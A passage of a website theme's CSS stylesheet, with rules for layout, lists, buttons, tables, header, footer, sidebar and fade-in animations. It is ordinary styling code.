0;\n\t\tdisplay: inline-block;\n\t\tposition: relative;\n\t}\n\n\t\t.image img {\n\t\t\tborder-radius: 0.25em;\n\t\t\tdisplay: block;\n\t\t}\n\n\t\t.image.left, .image.right {\n\t\t\tmax-width: 40%;\n\t\t}\n\n\t\t\t.image.left img, .image.right img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.left {\n\t\t\tfloat: left;\n\t\t\tmargin: 0 1.5em 1em 0;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.right {\n\t\t\tfloat: right;\n\t\t\tmargin: 0 0 1em 1.5em;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.fit {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 2em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.fit img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.main {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 3em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.main img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n/* List */\n\n\tol {\n\t\tlist-style: decimal;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1.25em;\n\t}\n\n\t\tol li {\n\t\t\tpadding-left: 0.25em;\n\t\t}\n\n\tul {\n\t\tlist-style: disc;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1em;\n\t}\n\n\t\tul li {\n\t\t\tpadding-left: 0.5em;\n\t\t}\n\n\t\tul.alt {\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.alt li {\n\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tpadding: 0.5em 0;\n\t\t\t}\n\n\t\t\t\tul.alt li:first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\tdl {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tdl dt {\n\t\t\tdisplay: block;\n\t\t\tfont-weight: bold;\n\t\t\tmargin: 0 0 1em 0;\n\t\t}\n\n\t\tdl dd {\n\t\t\tmargin-left: 2em;\n\t\t}\n\n/* Actions */\n\n\tul.actions {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tmargin-left: -1em;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.actions li {\n\t\t\tpadding: 0 0 0 1em;\n\t\t\tvertical-align: middle;\n\t\t}\n\n\t\tul.actions.special {\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 100%;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.special li:first-child {\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\tul.actions.stacked {\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.stacked li {\n\t\t\t\tpadding: 1.3em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.actions.stacked li:first-child {\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\tul.actions.fit {\n\t\t\twidth: calc(100% + 1em);\n\t\t}\n\n\t\t\tul.actions.fit li {\n\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\tflex-grow: 1;\n\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\tflex-shrink: 1;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\tul.actions.fit li > * {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\tul.actions.fit.stacked {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.actions:not(.fixed) {\n\t\t\t\t-moz-flex-direction: column;\n\t\t\t\t-webkit-flex-direction: column;\n\t\t\t\t-ms-flex-direction: column;\n\t\t\t\tflex-direction: column;\n\t\t\t\tmargin-left: 0;\n\t\t\t\twidth: 100% !important;\n\t\t\t}\n\n\t\t\t\tul.actions:not(.fixed) li {\n\t\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\t\tflex-grow: 1;\n\t\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\t\tflex-shrink: 1;\n\t\t\t\t\tpadding: 1em 0 0 0;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li > * {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li:first-child {\n\t\t\t\t\t\tpadding-top: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"],\n\t\t\t\t\tul.actions:not(.fixed) li button,\n\t\t\t\t\tul.actions:not(.fixed) li .button {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li button.icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li .button.icon:before {\n\t\t\t\t\t\t\tmargin-left: -0.5rem;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.contact > li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\t\t}\n\n\t\t\tul.contact > li:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.icons li {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\t\t}\n\n\t\t\tul.icons li:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\tul.icons li > a, ul.icons li > span {\n\t\t\t\tborder: 0;\n\t\t\t}\n\n\t\t\t\tul.icons li > a .label, ul.icons li > span .label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.menu > li {\n\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\t\t}\n\n\t\t\tul.menu > li:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.menu > li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t}\n\n/* Section/Article */\n\n\tsection.special, article.special {\n\t\ttext-align: center;\n\t}\n\n\theader p {\n\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\tposition: relative;\n\t\tmargin: 0 0 1.5em 0;\n\t}\n\n\theader h2 + p {\n\t\tfont-size: 1.25em;\n\t\tmargin-top: -1em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h3 + p {\n\t\tfont-size: 1.1em;\n\t\tmargin-top: -0.8em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h4 + p,\n\theader h5 + p,\n\theader h6 + p {\n\t\tfont-size: 0.9em;\n\t\tmargin-top: -0.6em;\n\t\tline-height: 1.5em;\n\t}\n\n/* Split */\n\n\t.split {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t}\n\n\t\t.split > * {\n\t\t\twidth: calc(50% - 2.5em);\n\t\t}\n\n\t\t.split > :nth-child(2n - 1) {\n\t\t\tpadding-right: 2.5em;\n\t\t\tborder-right: solid 1px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\t.split > :nth-child(2n) {\n\t\t\tpadding-left: 2.5em;\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\twidth: calc(66.66666% - 2.5em);\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n) {\n\t\t\twidth: calc(33.33333% - 2.5em);\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.split > * {\n\t\t\t\twidth: calc(50% - 2em);\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\tpadding-right: 2em;\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n) {\n\t\t\t\tpadding-left: 2em;\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\t\twidth: calc(66.66666% - 2em);\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n) {\n\t\t\t\twidth: calc(33.33333% - 2em);\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.split {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.split > * {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\tmargin: 4em 0 0 0;\n\t\t\t\t\tpadding: 4em 0 0 0;\n\t\t\t\t\twidth: 100% !important;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\t\tborder-right: 0;\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n) {\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.split > * {\n\t\t\t\tmargin: 3em 0 0 0;\n\t\t\t\tpadding: 3em 0 0 0;\n\t\t\t}\n\n\t\t}\n\n/* Spotlights */\n\n\t.spotlights > section {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-direction: row;\n\t\t-webkit-flex-direction: row;\n\t\t-ms-flex-direction: row;\n\t\tflex-direction: row;\n\t\tmin-height: 22.5em;\n\t}\n\n\t\tbody.is-ie .spotlights > section {\n\t\t\tmin-height: 0;\n\t\t}\n\n\t\t.spotlights > section > .image {\n\t\t\tbackground-position: center center;\n\t\t\tbackground-size: cover;\n\t\t\tborder-radius: 0;\n\t\t\tdisplay: block;\n\t\t\tposition: relative;\n\t\t\twidth: 25em;\n\t\t}\n\n\t\t\t.spotlights > section > .image img {\n\t\t\t\tborder-radius: 0;\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t.spotlights > section > .image:before {\n\t\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease;\n\t\t\t\ttransition: opacity 1s ease;\n\t\t\t\tbackground: #FF124f;\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: block;\n\t\t\t\theight: 100%;\n\t\t\t\tleft: 0;\n\t\t\t\topacity: 0;\n\t\t\t\tposition: absolute;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.spotlights > section > .content {\n\t\t\tpadding: 4em 5em 2em 5em ;\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 50em;\n\t\t\t-ms-flex: 1;\n\t\t}\n\n\t\t\t.spotlights > section > .content > .inner {\n\t\t\t\t-moz-transform: translateX(0) translateY(0);\n\t\t\t\t-webkit-transform: translateX(0) translateY(0);\n\t\t\t\t-ms-transform: translateX(0) translateY(0);\n\t\t\t\ttransform: translateX(0) translateY(0);\n\t\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t.spotlights > section:nth-child(2) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.05);\n\t\t}\n\n\t\t.spotlights > section:nth-child(3) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.1);\n\t\t}\n\n\t\t.spotlights > section.inactive > .image:before,\n\t\tbody.is-preload .spotlights > section > .image:before {\n\t\t\topacity: 1;\n\t\t}\n\n\t\t.spotlights > section.inactive > .content > .inner,\n\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t-moz-transform: translateX(-1em);\n\t\t\t-webkit-transform: translateX(-1em);\n\t\t\t-ms-transform: translateX(-1em);\n\t\t\ttransform: translateX(-1em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.spotlights > section {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.spotlights > section > .image {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t\theight: 50vh;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section > .content {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section.inactive > .content > .inner,\n\t\t\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t\t\t-moz-transform: translateY(1em);\n\t\t\t\t\t-webkit-transform: translateY(1em);\n\t\t\t\t\t-ms-transform: translateY(1em);\n\t\t\t\t\ttransform: translateY(1em);\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.spotlights > section > .image {\n\t\t\t\theight: 50vh;\n\t\t\t\tmin-height: 15em;\n\t\t\t}\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t}\n\n\t\t}\n\n/* Table */\n\n\t.table-wrapper {\n\t\t-webkit-overflow-scrolling: touch;\n\t\toverflow-x: auto;\n\t}\n\n\ttable {\n\t\tmargin: 0 0 2em 0;\n\t\twidth: 100%;\n\t}\n\n\t\ttable tbody tr {\n\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tborder-left: 0;\n\t\t\tborder-right: 0;\n\t\t}\n\n\t\t\ttable tbody tr:nth-child(2n + 1) {\n\t\t\t\tbackground-color: rgba(255, 255, 255, 0.05);\n\t\t\t}\n\n\t\ttable td {\n\t\t\tpadding: 0.75em 0.75em;\n\t\t}\n\n\t\ttable th {\n\t\t\tcolor: #ffffff;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: bold;\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\n\t\t\ttext-align: left;\n\t\t}\n\n\t\ttable thead {\n\t\t\tborder-bottom: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable tfoot {\n\t\t\tborder-top: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable.alt {\n\t\t\tborder-collapse: separate;\n\t\t}\n\n\t\t\ttable.alt tbody tr td {\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tborder-left-width: 0;\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t\ttable.alt tbody tr td:first-child {\n\t\t\t\t\tborder-left-width: 1px;\n\t\t\t\t}\n\n\t\t\ttable.alt tbody tr:first-child td {\n\t\t\t\tborder-top-width: 1px;\n\t\t\t}\n\n\t\t\ttable.alt thead {\n\t\t\t\tborder-bottom: 0;\n\t\t\t}\n\n\t\t\ttable.alt tfoot {\n\t\t\t\tborder-top: 0;\n\t\t\t}\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\t}\n\n\t\t.wrapper > .inner {\n\t\t\tpadding: 5em 5em 3em 5em ;\n\t\t\tmax-width: 100%;\n\t\t\twidth: 75em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.alt {\n\t\t\tbackground-color: #261c3e;\n\t\t}\n\n\t\t.wrapper.style1 {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style1-alt {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style2 {\n\t\t\tbackground-color: #E5E5E5;\n\t\t}\n\n\t\t.wrapper.style2-alt {\n\t\t\tbackground-color: #FF124f;\n\t\t}\n\n\t\t.wrapper.style3 {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.style3-alt {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.fullscreen {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\tmin-height: 100vh;\n\t\t}\n\n\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tmin-height: calc(100vh - 2.5em);\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tpadding: 2em 0;\n\t\t\t\t\tmin-height: 0;\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: auto;\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.fade-up > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-up.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-up > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(1em);\n\t\t\t-webkit-transform: translateY(1em);\n\t\t\t-ms-transform: translateY(1em);\n\t\t\ttransform: translateY(1em);\n\t\t}\n\n\t\t.wrapper.fade-down > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-down.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-down > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(-1em);\n\t\t\t-webkit-transform: translateY(-1em);\n\t\t\t-ms-transform: translateY(-1em);\n\t\t\ttransform: translateY(-1em);\n\t\t}\n\n\t\t.wrapper.fade > .inner {\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n/* Header */\n\n\t#header {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tbackground-color: #111111;\n\t\tcursor: default;\n\t\tpadding: 1.75em 2em;\n\t}\n\n\t\t#header > .title {\n\t\t\tborder: 0;\n\t\t\tcolor: #ffffff;\n\t\t\tdisplay: block;\n\t\t\tfont-size: 1.25em;\n\t\t\tfont-weight: bold;\n\t\t}\n\n\t\t#header > nav {\n\t\t\t-moz-flex: 1;\n\t\t\t-webkit-flex: 1;\n\t\t\t-ms-flex: 1;\n\t\t\tflex: 1;\n\t\t\ttext-align: right;\n\t\t}\n\n\t\t\t#header > nav > ul {\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding: 0;\n\t\t\t}\n\n\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 1.75em;\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li:first-child {\n\t\t\t\t\t\tmargin-left: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\tborder: 0;\n\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\tfont-size: 0.6em;\n\t\t\t\t\t\tfont-weight: bold;\n\t\t\t\t\t\tletter-spacing: 0.25em;\n\t\t\t\t\t\ttext-transform: uppercase;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a:hover {\n\t\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a.active {\n\t\t\t\t\t\t\tcolor: #ffffff;\n\t\t\t\t\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#header {\n\t\t\t\tpadding: 1em 2em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t#header {\n\t\t\t\tdisplay: block;\n\t\t\t\tpadding: 0 2em;\n\t\t\t\ttext-align: left;\n\t\t\t}\n\n\t\t\t\t#header .title {\n\t\t\t\t\tfont-size: 1.25em;\n\t\t\t\t\tpadding: 1em 0;\n\t\t\t\t}\n\n\t\t\t\t#header > nav {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\ttext-align: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\t\tmargin-left: 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\t\theight: 6em;\n\t\t\t\t\t\t\tline-height: 6em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Wrapper (main) */\n\n\t#sidebar + #wrapper {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tmargin-left: 0;\n\t\t\t\tpadding-top: 3.5em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tpadding-top: 0;\n\t\t\t}\n\n\t\t}\n\n\t#header + #wrapper > .wrapper > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Footer */\n\n\t#sidebar + #wrapper + #footer {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper + #footer {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\n\t\t}\n\n\t#footer > .inner a {\n\t\tborder-bottom-color: rgba(255, 255, 255, 0.15);\n\t}\n\n\t\t#footer > .inner a:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t}\n\n\t#footer > .inner .menu {\n\t\tfont-size: 0.8em;\n\t\tcolor: rgba(255, 255, 255, 0.15);\n\t}\n\n\t#header + #wrapper + #footer > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Sidebar */\n\n\t#sidebar {\n\t\tpadding: 2.5em 2.5em 0.5em 2.5em ;\n\t\tbackground: #111111;\n\t\tcursor: default;\n\t\theight: 100vh;\n\t\tleft: 0;\n\t\toverflow-x: hidden;\n\t\toverflow-y: auto;\n\t\tposition: fixed;\n\t\ttext-align: right;\n\t\ttop: 0;\n\t\twidth: 18em;\n\t\tz-index: 10000;\n\t}\n\n\t\t#sidebar > .inner {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\tmin-height: 100%;\n\t\t\topacity: 1;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\tbody.is-ie #sidebar > .inner {\n\t\t\t\theight: 100%;\n\t\t\t}\n\n\t\t#sidebar nav > ul {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\t#sidebar nav > ul > li {\n\t\t\t\t-moz-transform: translateY(0);\n\t\t\t\t-webkit-transform: translateY(0);\n\t\t\t\t-ms-transform: translateY(0);\n\t\t\t\ttransform: translateY(0);\n\t\t\t\t-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;\n\t\t\t\t-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;\n\t\t\t\t-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;\n\t\t\t\ttransition: opacity 0.15s ease, transform 0.75s ease;\n\t\t\t\tmargin: 1.5em 0 0 0;\n\t\t\t\topacity: 1;\n\t\t\t\tpadding: 0;\n\t\t\t\tposition: relative;\n\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:first-child {\n\t\t\t\t\tmargin: 0;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(1) {\n\t\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\t\ttransition-delay: 0.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(2) {\n\t\t\t\t\t-moz-transition-delay: 0.65s;\n\t\t\t\t\t-webkit-transition-delay: 0.65s;\n\t\t\t\t\t-ms-transition-delay: 0.65s;\n\t\t\t\t\ttransition-delay: 0.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar 